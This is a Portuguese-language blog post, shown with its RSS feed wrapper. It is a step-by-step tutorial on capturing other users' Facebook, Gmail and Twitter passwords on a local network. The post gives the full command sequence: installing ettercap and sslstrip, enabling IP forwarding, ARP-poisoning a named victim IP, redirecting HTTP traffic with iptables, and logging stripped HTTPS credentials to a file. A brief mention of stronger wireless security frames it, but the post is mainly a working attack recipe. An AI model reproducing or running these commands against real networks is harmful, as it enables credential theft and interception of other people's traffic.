ettercap Archives - Blog do Gesiel Bernardes https://gesielbernardes.eti.br/tag/ettercap Blog sobre Tecnologia e Segurança da Informação Thu, 01 Sep 2016 17:24:13 +0000 pt-BR hourly 1 https://wordpress.org/?v=6.9 Como capturar senhas do Facebook, Gmail, Twitter… https://gesielbernardes.eti.br/como-capturar-senhas-do-facebook-gmail-twitter.html Wed, 16 Nov 2011 13:29:27 +0000 http://143.106.30.117/?p=11      Muitas vezes preocupamos muito com as invasões e ataques provenientes da Internet para nossa rede local. Porém as vezes o perigo pode estar mais próximo do que imaginamos. Cerca de 70% dos ataques são feitos a partir da rede interna. Por isso senhas absurdamente complexas aliada á algum outro meio de autenticação torna-se… Read More »

The post Como capturar senhas do Facebook, Gmail, Twitter… appeared first on Blog do Gesiel Bernardes.

]]>

     Muitas vezes preocupamos muito com as invasões e ataques provenientes da Internet para nossa rede local. Porém as vezes o perigo pode estar mais próximo do que imaginamos. Cerca de 70% dos ataques são feitos a partir da rede interna. Por isso senhas absurdamente complexas aliada á algum outro meio de autenticação torna-se quase que obrigatório para uma rede Wireless. Neste pequeno tutorial veremos como um invasor pode capturar informações até mesmo consideradas como seguras e criptografadas.

     Desde já aviso: Não é simples e requer um conhecimento razoável na área, mas creio que funcione seguindo como “receita de bolo”.

 Requisitos:

  • Computador com sistema operacional Linux (neste caso usarei o Fedora 15) conectado na mesma rede da vítima.

  • Conexão com a Internet;

  • Conhecimento intermediário em Redes/Linux.

     O ataque é baseado no envenenamento da tabela ARP da vítima. Com isso, todo tráfego que a vítima enviará ao roteador será interceptado. Vamos usar menos teoria e mais prática:

 

Cenário:

  • IP da vítima: 192.168.0.67
  • IP do roteador: 192.168.0.1

 

     Passo 1 – Baixar e Instalar pacotes

 Executar (sempre como root) os comandos abaixo:

 # yum -y install ettercap python-twisted-web

# tar xvfz sslstrip-0.9.tar.gz

# cd sslstrip-0.9

# python setup.py install && ln -s /usr/local/bin/sslstrip /bin/sslstrip

 

     Passo 2 – Atacar a vítima

      O primeiro passo é habilitar o encaminhamento de pacotes, utilizar o seguinte comando:

 # echo 1 > /proc/sys/net/ipv4/ip_forward

      Para envenenar a tabela ARP da vítima, iremos utilizar o Ettercap. Executar o seguinte comando:

 # ettercap -Tq -i eth0 -M arp:remote,oneway /IP-da-vitima/ /IP-do-roteador/

      No meu caso, ficou dessa forma:

 # ettercap -Tq -i eth0 -M arp:remote,oneway /192.168.0.67/ /I92.168.0.1/

      Desta forma, todo o tráfico já é interceptado, e é possível capturar senhas não criptografadas com o Wireshark, por exemplo, como no print abaixo:

       Mas e as senhas criptografadas? Para elas vamos utilizar o Sslstrip, que faz uma espécie de “proxy”, fazendo a leitura das páginas https e convertendo-as para http. Para acioná-lo executar os passos abaixo:

# iptables -t nat -A PREROUTING -p tcp –dport 80 -j REDIRECT –to-port 8080

# sslstrip -l 8080 -w /root/log.txt

     Pronto! Todos as requisições https ficarão registradas em /root/log.txt. Com isso é possível capturar senhas do Hotmail, MSN, Gmail, Facebook, entre outras. (ver print abaixo).

     Caso queira mais informações, pode ver no artigo original, feito por Ygor Bittencourt, publicado na revista ADMIN, Redes & Segurança, 3° edição. Até mais……

 

The post Como capturar senhas do Facebook, Gmail, Twitter… appeared first on Blog do Gesiel Bernardes.

]]>